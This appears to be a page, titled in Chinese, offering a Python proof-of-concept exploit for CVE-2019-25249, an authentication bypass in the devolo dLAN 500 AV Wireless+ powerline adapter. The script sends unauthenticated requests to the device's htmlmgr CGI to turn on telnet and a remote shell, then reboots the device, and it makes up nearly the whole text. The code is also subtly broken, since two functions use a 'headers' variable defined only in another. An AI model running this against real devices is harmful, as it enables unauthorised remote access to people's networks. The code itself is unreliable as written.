CVE-2019-25249 devolo dLAN 500 AV Wireless+ 认证绕过漏洞

#!/usr/bin/env python3 """ CVE-2019-25249 PoC - devolo dLAN 500 AV Wireless+ Authentication Bypass Discovered by: [email protected] """ import requests import sys target = sys.argv[1] if len(sys.argv) > 1 else "http://192.168.1.1" def enable_telnet(target): """Enable hidden telnet service via htmlmgr CGI""" url = f"{target}/htmlmgr" headers = { "Content-Type": "application/x-www-form-urlencoded" } # Bypass authentication and enable telnet data = { "action": "set_config", "telnet": "1", "telnet_port": "23" } response = requests.post(url, data=data, headers=headers, timeout=10) return response.status_code == 200 def enable_remote_shell(target): """Enable remote shell service""" url = f"{target}/htmlmgr" data = { "action": "set_config", "remote_shell": "1" } response = requests.post(url, data=data, headers=headers, timeout=10) return response.status_code == 200 def reboot_device(target): """Reboot the device""" url = f"{target}/htmlmgr" data = { "action": "reboot" } response = requests.post(url, data=data, headers=headers, timeout=10) return response.status_code == 200 if __name__ == "__main__": print(f"[*] Targeting: {target}") print("[*] Attempting to enable telnet...") if enable_telnet(target): print("[+] Telnet service enabled successfully") print("[*] Attempting to enable remote shell...") if enable_remote_shell(target): print("[+] Remote shell enabled successfully") print("[*] Rebooting device...") reboot_device(target) print("[+] Device reboot initiated")